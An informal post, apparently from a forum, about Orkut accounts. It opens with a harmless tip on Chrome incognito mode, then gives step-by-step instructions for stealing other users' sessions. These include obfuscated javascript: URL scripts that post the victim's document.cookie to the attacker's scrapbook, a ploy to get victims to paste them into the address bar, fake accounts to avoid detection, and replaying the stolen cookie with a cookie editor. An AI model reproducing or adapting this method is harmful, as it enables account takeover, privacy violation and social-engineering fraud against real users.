Well you can login multiple orkut account by using Google Chrome Browser.

There is a mode on Google Chrome Known as Incognito mode (a private browsing feature of the Google Chrome browser).The pages of the web that we open and download files are not recorded while you are browsing and downloading histories and cookies are deleted after you close the window.To turn On this feature Incognito mode you just have to press Ctrl+Shift+N or otherwise just press setting which is like (wrench) .It is at the top right side of browser and select New incognito window . This allows you to use Multiple Account options on your Browser.

Enjoy !

First get firefox and the cookie editor plugin for it…u will need them…

Then make two fake accounts…u will ned one to receive the cookie and one to advertise your script so that if orkut starts deleting such profiles your real account wont be compromised…the choice is yours though..

javascript:nobody=replyForm;nobody.toUserId.value=62915936;
nobody.scrapText.value=eval
(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,
111,111,107,105,101)); nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;
nobody.submit()

U see the 62915936 part? Thats the one u need to edit to get the cookie to your account…..

Now here is the script Code:

HOW TO PUT UR NUMBER IN THAT SECTION??? FOLLOW THESE STEPS:

1) Go to YOUR ALBUM section.

2) Go to ANY photo and right click on it , see the properties of your display image…u will see something like 12345678.jpg

3) There will be a eight digit value.

4) Now put that value in the above javascript.

5) Thats it.

Now your javascript will look like:

javascript:nobody=replyForm;nobody.toUserId.value=yournumber;
nobody.scrapText.value=eval
(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,
111,111,107,105,101));
nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;
nobody.submit()

Now give this script to the victim , ask him to go to his scrap book and paste this script in his address bar and press enter. now you ll get his cookies in your scrapbook.

Now after getting a cookie…

1) Go to your home page

2) Open the cookie editor plugin(TOOLS–>COOKIE EDITOR).

3) Type orkut in the text box and click filter/refresh.look for orkut_state cookie.

4) Just double click it and replace the orkut_state part with your victims. No need to change the _umbz _umbc part…

5) THATS IT!!

ANOTHER SCRIPT : (100%working)

javascript:nobody=replyForm;nobody.toUserId.value=53093255;

nobody.scrapText.value=document.cookie;nobody.

action=’scrapbook.aspx?Action.submit’;nobody.submit()

Put ur eight digit number in the place of (53093255)

happy orkut hacking
